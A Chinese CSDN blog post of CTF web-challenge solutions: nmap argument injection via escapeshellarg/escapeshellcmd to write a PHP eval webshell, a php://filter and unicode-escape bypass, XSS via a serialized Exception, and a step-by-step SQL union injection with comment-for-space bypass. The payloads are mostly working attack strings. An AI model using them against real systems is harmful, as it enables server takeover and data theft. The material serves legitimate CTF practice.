1.29刷题

本文详细介绍了Web安全中的命令注入和XSS漏洞利用。通过实例展示了如何利用`escapeshellarg()`和`escapeshellcmd()`函数的漏洞执行命令,以及如何构造payload绕过过滤实现命令执行。同时,文章还讨论了XSS攻击,利用PHP的原生类构造XSS payload,以及SQL注入技巧,如万能密码、联合查询等方法获取数据库信息。
摘要由CSDN通过智能技术生成

1.[BUUCTF 2018]Online Tool

 <?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg()和escapeshellcmd()

1. 传入的参数是:172.17.0.2' -v -d a=1
2. 经过`escapeshellarg`处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3. 经过`escapeshellcmd`处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个**不配对儿**的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

就是两次转译后出现了问题,没有考虑到单引号的问题

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

这里有一个system函数,可以利用这里传参进行命令执行,namp 可以写木马,那么我们要做的,让nmap执行那个命令。但是
这两个函数。会把我们的命令给放道单引号里,
'\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'最后的语句,就变成了:
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php' 我们的命令,被当成了字符串,而不是一条命令,那么我们就要想办法,闭合单引号。

先测试一下这部分的代码

$host = $_GET['host'];
    echo $host."<br>";
    $host = escapeshellarg($host);
    echo $host."<br>";
    $host = escapeshellcmd($host);
    echo $host."<br>";

当传入1'时,所有的单引号就都闭合了,我们就可以在单引号之后加上我们想要执行的命令,这样,语句就变成了:nmap -T5 -sT -Pn --host-timeout 2 -F ‘1’\’’ 我们想执行的命令’,在这里输入一句话木马'<?php eval($_POST["ken"]);?> -oG 1.php '

?host=' <?php @eval($_POST["ken"]);?> -oG 1.php '

出现了我们上传的文件的文件夹名,访问1.php,发现没有出现我们传入的字符串,应该是执行了传入的一句话木马

用蚁剑连接,在根目录下找到flag

2.[网鼎杯 2020 朱雀组]Nmap

先查看源代码看看有没有提示

源码中有被注释掉的语句,,还有一个list.php,但是这个网页没啥东西

看这个题目名字,应该是和上一题是用到命令执行里面的namp指令,先用上一题的payload尝试一下

' <?php @eval($_POST["ken"]);?> -oG 1.php '

回显hacker,应该是这个题目里面过滤掉了一些东西,过滤掉了php,可以用phtml代替

' <?= @eval($_POST["ken"]);?> -oG 1.phtml '

传入木马之后访问我们传入的地址,发现我们传入的木马并没有以字符串的形式出现在页面上,说明是成功的将这段命令当作了php,命令来执行,然后用蚁剑连接,在根目录找到flag,这题也可以用命令执行cat /flag,在题目源码的页面里也提示了flag in /flag

第二种方法:

使用不同的namp命令写入木马

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
选项-oG
将结果Grep保存。

nmap -F -oG test.txt 192.168.23.1
1

选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。

nmap -F -oA test 192.168.3.2
1

尝试对扫描结果进行指定文件保存,
输入-oN aa.txt,然后访问/aa.txt
出现:# Nmap 6.47 scan initiated Mon May 18 15:58:14 2020 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/05cc1 -oN aa.txt \

可以上传<?=eval(\$_POST[a]);?> 文件名为phtml
payload:' -oN b.phtml <?=eval(\$_POST[a]);?>'

3.[HarekazeCTF2019]encode_and_encode

点击source code 查看源码

 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);  

最后一块代码的意思是正则匹配到content中有ctf等就用censored替代,最后将json编码后的content输出

$body = file_get_contents('php://input');  
$json = json_decode($body, true);             //对body变量进行json解码
if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);        #从page中读出文件名,并读取出文件内容
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

在第二个if中检查了content是否有效,即不能直接传输flag文件,要通过php伪协议绕过

根据上次做到的json格式数据

{"name":"string"}

这次将文件名和伪加密代码用ison编码表示

page=php://filter/convert.base64-encode/resource=flag
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

放在页面上没有post出来,放到bp里面就出来了

4…[BJDCTF 2nd]xss之光

利用php的原生类进行XSS

通过git泄露扫出源码,源码里面有反序列化的信息,但是并没有类的定义和pop链之类的

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

xss攻击就是要构造页面的弹窗或者跳转

<?php
$a = $_GET['yds_is_so_beautiful'];
$b = unserialize($a);

GET传参给yds_is_so_beautiful,接着传入的参数会被反序列化后输出,跟题目结合,可以知道当反序列化的结果是

<script>alert(1)</script>

就会让1以弹窗形式显示出来,但是在代码中没有给出类来,所以我们只能使用PHP的原生类来序列化构造XSS,

<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

弹窗不行,就构造页面的跳转

  • 劫持流量实现恶意跳转

这个很简单,就是在网页中想办法插入一句像这样的语句:

<script>window.location.href="http://www.baidu.com";</script>

那么所访问的网站就会被跳转到百度的首页。在跳转时抓包

<?php
$a = new Exception("<script>window.location.href='https://www.baidu.com'</script>");
echo urlencode(serialize($a));

5.ctf.show_web6

sql注入

先尝试用万能密码注入

'or 1=1#

继续注入

1' and 1=1#

这样的回显也是错误的,猜测是过滤掉了空格,用/**/代替空格注入,登录成功

1'/**/and/**/1=1#

接下去查询数据库

1'/**/union/**/select/**/1,database(),3#

查询表名

1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

查询列名

1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

查询flag字段

1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值